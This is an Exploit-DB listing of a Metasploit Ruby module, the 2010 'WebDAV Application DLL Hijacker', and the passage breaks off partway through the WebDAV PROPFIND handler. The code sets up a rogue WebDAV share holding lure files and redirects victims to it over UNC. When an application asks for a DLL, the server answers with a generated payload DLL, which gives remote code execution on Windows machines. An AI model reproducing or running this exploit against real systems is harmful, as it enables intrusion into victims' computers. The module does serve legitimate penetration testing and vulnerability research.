Exploit-DB #16550
Description: WebDAV - Application DLL Hijacker (Metasploit)
Type: remote
Platform: windows
Date: 2010-09-24
Author: Metasploit

Exploit:
##
# $Id: webdav_dll_hijacker.rb 10454 2010-09-24 01:11:05Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ManualRanking

	#
	# This module acts as an HTTP server
	#
	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'			=> 'WebDAV Application DLL Hijacker',
			'Description'	=> %q{
				This module presents a directory of file extensions that can lead to
			code execution when opened from the share. The default EXTENSIONS option
			must be configured to specify a vulnerable application type.
			},
			'Author'		=>
				[
					'hdm',   # Module itself
					'jduck', # WebDAV implementation
					'jcran', # Exploit vectors
				],
			'License'		=> MSF_LICENSE,
			'Version'		=> '$Revision: 10454 $',
			'References'	=>
				[
					['URL', 'http://blog.zoller.lu/2010/08/cve-2010-xn-loadlibrarygetprocaddress.html'],
					['URL', 'http://www.acrossecurity.com/aspr/ASPR-2010-08-18-1-PUB.txt'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'		=>
				{
					'Space'	=> 2048,
				},
			'Platform'		=> 'win',
			'Targets'		=>
				[
					[ 'Automatic',	{ } ]
				],
			'DisclosureDate' => 'Aug 18 2010',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptPort.new(	'SRVPORT',		 [ true, "The daemon port to listen on (do not change)", 80 ]),
				OptString.new(	'URIPATH',		 [ true, "The URI to use (do not change).", "/" ]),
				OptString.new(	'BASENAME',		 [ true, "The base name for the listed files.", "policy" ]),
				OptString.new(	'SHARENAME',	 [ true, "The name of the top-level share.", "documents" ]),
				OptString.new(	'EXTENSIONS',	 [ true, "The list of extensions to generate", "txt" ])
			], self.class)

		deregister_options('SSL', 'SSLVersion') # WebDAV does not support SSL
	end


	def on_request_uri(cli, request)

		case request.method
		when 'OPTIONS'
			process_options(cli, request)
		when 'PROPFIND'
			process_propfind(cli, request)
		when 'GET'
			process_get(cli, request)
		else
			print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})")
			resp = create_response(404, "Not Found")
			resp.body = ""
			resp['Content-Type'] = 'text/html'
			cli.send_response(resp)
		end
	end


	def process_get(cli, request)

		myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
		webdav = "\\\\#{myhost}\\"

		if blacklisted_path?(request.uri)
			print_status("#{cli.peerhost}:#{cli.peerport} GET => 404 [BLACKLIST] (#{request.uri})")
			resp = create_response(404, "Not Found")
			resp.body = ""
			cli.send_response(resp)
			return
		end

		if (request.uri =~ /\.(dll|dl|drv|cpl)$/i)
			print_status("#{cli.peerhost}:#{cli.peerport} GET => DLL Payload")
			return if ((p = regenerate_payload(cli)) == nil)
			data = generate_payload_dll({ :code => p.encoded })
			send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
			return
		end

		# Treat index.html specially
		if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
			print_status("#{cli.peerhost}:#{cli.peerport} GET => REDIRECT (#{request.uri})")
			resp = create_response(200, "OK")

			resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}#{datastore['SHARENAME']}\\"></head><body></body></html>|

			resp['Content-Type'] = 'text/html'
			cli.send_response(resp)
			return
		end

		# Anything else is probably a request for a data file...
		print_status("#{cli.peerhost}:#{cli.peerport} GET => DATA (#{request.uri})")
		data = "HELLO!"
		send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
	end

	#
	# OPTIONS requests sent by the WebDav Mini-Redirector
	#
	def process_options(cli, request)
		print_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}")
		headers = {
			'MS-Author-Via' => 'DAV',
			'DASL'          => '<DAV:sql>',
			'DAV'           => '1, 2',
			'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
			'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
			'Cache-Control' => 'private'
		}
		resp = create_response(207, "Multi-Status")
		headers.each_pair {|k,v| resp[k] = v }
		resp.body = ""
		resp['Content-Type'] = 'text/xml'
		cli.send_response(resp)
	end

	#
	# PROPFIND requests sent by the WebDav Mini-Redirector
	#
	def process_propfind(cli, request)
		path = request.uri
		print_status("#{cli.peerhost}:#{cli.peerport} PROPFIND #{path}")
		body = ''

		my_host   = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
		my_uri    = "http://#{my_host}/"

		if path !~ /\/$/

			if blacklisted_path?(path)
				print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 404 (#{path})"
				resp = create_response(404, "Not Found")
				resp.body = ""
				cli.send_response(resp)
				return
			end

			if path.index(".")
				print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 207 File (#{path})"
				body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:get